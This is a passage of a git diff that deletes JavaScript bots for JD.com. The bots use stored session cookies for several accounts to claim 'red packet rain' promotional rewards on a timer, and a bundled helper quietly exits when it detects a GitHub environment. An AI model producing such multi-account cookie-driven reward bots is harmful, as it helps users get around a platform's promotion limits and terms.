Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/activity/jd_live_redrain.js b/activity/jd_live_redrain.js deleted file mode 100644 index 6d5a5d4..0000000 --- a/activity/jd_live_redrain.js +++ /dev/null @@ -1,280 +0,0 @@ -/* -直播红包雨 -每天0,9,11,13,15,17,19,20,21,23可领,每日上限未知 -活动时间:2020-12-14 到 2020-12-31 -更新地址:jd_live_redrain.js -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#直播红包雨 -0 0,9,11,13,15,17,19,20,21,23 * * * jd_live_redrain.js, tag=直播红包雨, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true - -================Loon============== -[Script] -cron "0 0,9,11,13,15,17,19,20,21,23 * * *" script-path=jd_live_redrain.js, tag=直播红包雨 - -===============Surge================= -直播红包雨 = type=cron,cronexp="0 0,9,11,13,15,17,19,20,21,23 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain.js - -============小火箭========= -直播红包雨 = type=cron,script-path=jd_live_redrain.js, cronexpr="0 0,9,11,13,15,17,19,20,21,23 * * *", timeout=3600, enable=true - */ -const $ = new Env('直播红包雨'); -let ids = { - '0': 'RRA3S6TRRbnNNuGN43oHMA5okbcXmRY', - '9': 'RRA3vyGH4MRwCJELDwV7p24mNAByiSk', - '11': 'RRAnabmRSnpzSSZicXUhSFGBvFXs5c', - '13': 'RRA4RhWMc159kA62qLbaEa88evE7owb', - '15': 'RRA2CnovS9KVTTwBD9NV7o4kc3P8PTN', - '17': 'RRA2nFXT2oSQM3KaYX9uhBC1hBijDey', - '19': 'RRA3SQpuSAAJq1ckoPr4TXaxwbLG73k', - '20': 'RRA2cHV3KXqvHAZGboTTryr8JMYZd5j', - '21': 'RRA3SPs4XrDEXXwQjEFGrBLtMpjtkMV', - '23': 'RRA3dFHoZXGThSnctvtAf69dmVyEDfm', -} -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; - process.env.TZ = "Asia/Shanghai"; - Date.prototype.TimeZone = new Map([ - ['Asia/Shanghai',+8], - ]) - Date.prototype.zoneDate = function(){ - if(process.env.TZ === undefined){ - return new Date(); - }else{ - for (let item of this.TimeZone.entries()) { - if(item[0] === process.env.TZ){ - let d = new Date(); - d.setHours(d.getHours()+item[1]); - return d; - } - } - return new Date(); - } - } -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.log(`=====远程红包雨信息=====`) - await getRedRain(); - if(!$.activityId) return - let nowTs = new Date().getTime() - if (!($.st <= nowTs && nowTs < $.ed)) { - $.log(`远程红包雨配置获取错误,从本地读取配置`) - $.log(`\n`) - let hour = (new Date().getUTCHours() + 8) %24 - if (ids[hour]){ - $.activityId = ids[hour] - $.log(`本地红包雨配置获取成功`) - } else{ - $.log(`无法从本地读取配置,请检查运行时间`) - return - } - } else{ - $.log(`远程红包雨配置获取成功`) - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = `【${new Date().getUTCHours()+8}点${$.name}】` - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await receiveRedRain(); - await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function showMsg() { - if ($.isNode() && !jdNotify) { - await notify.sendNotify(`【京东账号${$.index}】${$.nickName}`, message) - } - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - -function getRedRain() { - return new Promise(resolve => { - $.get({ - url: "http://ql4kk90rw.hb-bkt.clouddn.com/jd_live_redRain.json?" + Date.now(), - }, (err, resp, data) => { - try { - if (err) { - console.log(`1111${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.activityId = data.activityId - $.st = data.startTime - $.ed = data.endTime - console.log(`下一场红包雨开始时间:${new Date(data.startTime)}`) - console.log(`下一场红包雨结束时间:${new Date(data.endTime)}`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function receiveRedRain() { - return new Promise(resolve => { - const body = {"actId": $.activityId}; - $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.subCode === '0') { - console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) - // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` - message += `领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)} 京豆\n` - - } else if (data.subCode === '8') { - console.log(`领取失败,已领过`) - message += `领取失败,已领过\n`; - } else { - console.log(`异常:${JSON.stringify(data)}`) - message += `暂无红包雨\n`; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime()}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://h5.m.jd.com/active/redrain/index.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_live_redrain2.js b/activity/jd_live_redrain2.js deleted file mode 100644 index a837589..0000000 --- a/activity/jd_live_redrain2.js +++ /dev/null @@ -1,244 +0,0 @@ -/* -超级直播间红包雨 -每天20-23半点可领,每日上限未知 -活动时间:活动时间未知 -更新地址:jd_live_redrain2.js -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#超级直播间红包雨 -30 20-23/1 * * * jd_live_redrain2.js, tag=超级直播间红包雨, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true - -================Loon============== -[Script] -cron "30 20-23/1 * * *" script-path=jd_live_redrain2.js, tag=超级直播间红包雨 - -===============Surge================= -超级直播间红包雨 = type=cron,cronexp="30 20-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain2.js - -============小火箭========= -超级直播间红包雨 = type=cron,script-path=jd_live_redrain2.js, cronexpr="30 20-23/1 * * *", timeout=3600, enable=true - */ -const $ = new Env('超级直播间红包雨'); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - await getRedRain(); - if(!$.activityId) return - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - let nowTs = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 - // console.log(nowTs, $.startTime, $.endTime) - if ($.startTime <= nowTs && nowTs < $.endTime) { - await receiveRedRain(); - } else { - console.log(`不在红包雨时间之内`) - message += `不在红包雨时间之内` - } - await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - -function getRedRain() { - return new Promise(resolve => { - $.post(taskPostUrl('liveActivityV842'), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - let act = data.data.iconArea[0] - let url = data.data.iconArea[0].data.activityUrl - $.activityId = 